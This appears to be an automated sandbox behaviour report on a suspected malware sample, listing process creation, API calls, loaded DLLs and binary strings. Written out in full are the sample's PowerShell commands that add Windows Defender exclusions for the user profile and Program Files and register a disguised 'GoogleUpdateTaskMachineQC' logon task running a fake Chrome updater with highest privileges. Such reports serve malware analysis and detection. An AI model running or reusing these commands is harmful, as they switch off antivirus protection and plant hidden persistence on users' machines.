Source: C:\Windows\System32\dialer.exe Code function: 26_2_00007FF610192328 VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,FindResourceExA,SizeofResource,LoadResource,LockResource,GetCurrentProcessId,RegCreateKeyExW,ConvertStringSecurityDescriptorToSecurityDescriptorW,RegSetKeySecurity,LocalFree,RegCreateKeyExW,GetCurrentProcessId,RegSetValueExW,RegCloseKey,RegCloseKey,CreateThread,GetProcessHeap,HeapAlloc,CreateThread,CreateThread,SleepEx, 26_2_00007FF610192328
Source: C:\Windows\System32\dialer.exe Code function: 5_2_00007FF67E6C1AC4 SysAllocString,SysAllocString,CoInitializeEx,CoInitializeSecurity,CoCreateInstance,VariantInit,CoUninitialize,SysFreeString,SysFreeString, 5_2_00007FF67E6C1AC4
Source: C:\Windows\System32\dialer.exe Code function: 5_2_00007FF67E6C2328 VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,FindResourceExA,SizeofResource,LoadResource,LockResource,GetCurrentProcessId,RegCreateKeyExW,ConvertStringSecurityDescriptorToSecurityDescriptorW,RegSetKeySecurity,LocalFree,RegCreateKeyExW,GetCurrentProcessId,RegSetValueExW,RegCloseKey,RegCloseKey,CreateThread,GetProcessHeap,HeapAlloc,CreateThread,CreateThread,SleepEx, 5_2_00007FF67E6C2328
Source: C:\Users\user\Desktop\h2qWqtD73F.exe File created: C:\Users\user\AppData\Roaming\Google Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5284:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5944:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7888:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8132:120:WilError_03
Source: C:\Users\user\Desktop\h2qWqtD73F.exe File created: C:\Users\user\AppData\Local\Temp\piukhnngkvtj.tmp Jump to behavior
Source: h2qWqtD73F.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\h2qWqtD73F.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: h2qWqtD73F.exe ReversingLabs: Detection: 55%
Source: C:\Users\user\Desktop\h2qWqtD73F.exe File read: C:\Users\user\Desktop\h2qWqtD73F.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\h2qWqtD73F.exe "C:\Users\user\Desktop\h2qWqtD73F.exe"
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\h2qWqtD73F.exe Process created: C:\Windows\System32\dialer.exe C:\Windows\System32\dialer.exe
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#polrad#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -RunLevel 'Highest' -Force; }
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\svchost.exe Process created: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Process created: C:\Windows\System32\dialer.exe C:\Windows\System32\dialer.exe
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#polrad#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -RunLevel 'Highest' -Force; }
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\h2qWqtD73F.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force Jump to behavior
Source: C:\Users\user\Desktop\h2qWqtD73F.exe Process created: C:\Windows\System32\dialer.exe C:\Windows\System32\dialer.exe Jump to behavior
Source: C:\Users\user\Desktop\h2qWqtD73F.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#polrad#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -RunLevel 'Highest' -Force; } Jump to behavior
Source: C:\Users\user\Desktop\h2qWqtD73F.exe Process created: unknown unknown Jump to behavior
Source: C:\Windows\System32\svchost.exe Process created: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force Jump to behavior
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Process created: C:\Windows\System32\dialer.exe C:\Windows\System32\dialer.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#polrad#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -RunLevel 'Highest' -Force; } Jump to behavior
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Process created: unknown unknown Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: microsoft.management.infrastructure.native.unmanaged.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wmidcom.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\System32\dialer.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kdscli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: microsoft.management.infrastructure.native.unmanaged.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wmidcom.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dialer.exe Section loaded: ntmarta.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kdscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: h2qWqtD73F.exe Static PE information: Image base 0x140000000 > 0x60000000
Source: h2qWqtD73F.exe Static file information: File size 5980672 > 1048576
Source: h2qWqtD73F.exe Static PE information: Raw size of .data is bigger than: 0x100000 < 0x592e00
Source: h2qWqtD73F.exe Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT
Source: Binary string: @C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 00000011.00000002.2626315265.000002062802B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000000.1413437595.000002062802B000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: mbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831* source: svchost.exe, 00000011.00000000.1413550967.0000020628056000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000002.2628917838.0000020628056000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: $@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 00000011.00000002.2626315265.000002062802B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000000.1413437595.000002062802B000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: @\??\C:\Users\user\AppData\Local\Temp\wct4AB9.tmp.pdb source: svchost.exe, 00000011.00000000.1413550967.0000020628056000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000002.2628917838.0000020628056000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: *@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb source: svchost.exe, 00000011.00000000.1413550967.0000020628056000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000002.2628917838.0000020628056000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 00000011.00000002.2626315265.000002062802B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000000.1413437595.000002062802B000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 00000011.00000000.1413550967.0000020628056000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000002.2628917838.0000020628056000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: ,@\??\C:\Users\user\AppData\Local\Temp\wct8ACF.tmp.pdb source: svchost.exe, 00000011.00000000.1413550967.0000020628056000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000002.2628917838.0000020628056000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 00000011.00000002.2626315265.000002062802B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000000.1413437595.000002062802B000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: updater.exe, 00000014.00000002.1586148880.00007FF6DD49B000.00000004.00000001.01000000.00000008.sdmp
Source: Binary string: (@C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 00000011.00000002.2626315265.000002062802B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000000.1413437595.000002062802B000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: "@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb*6 source: svchost.exe, 00000011.00000000.1413550967.0000020628056000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000002.2628917838.0000020628056000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: &@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb source: svchost.exe, 00000011.00000000.1413550967.0000020628056000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000002.2628917838.0000020628056000.00000004.00000001.00020000.00000000.sdmp
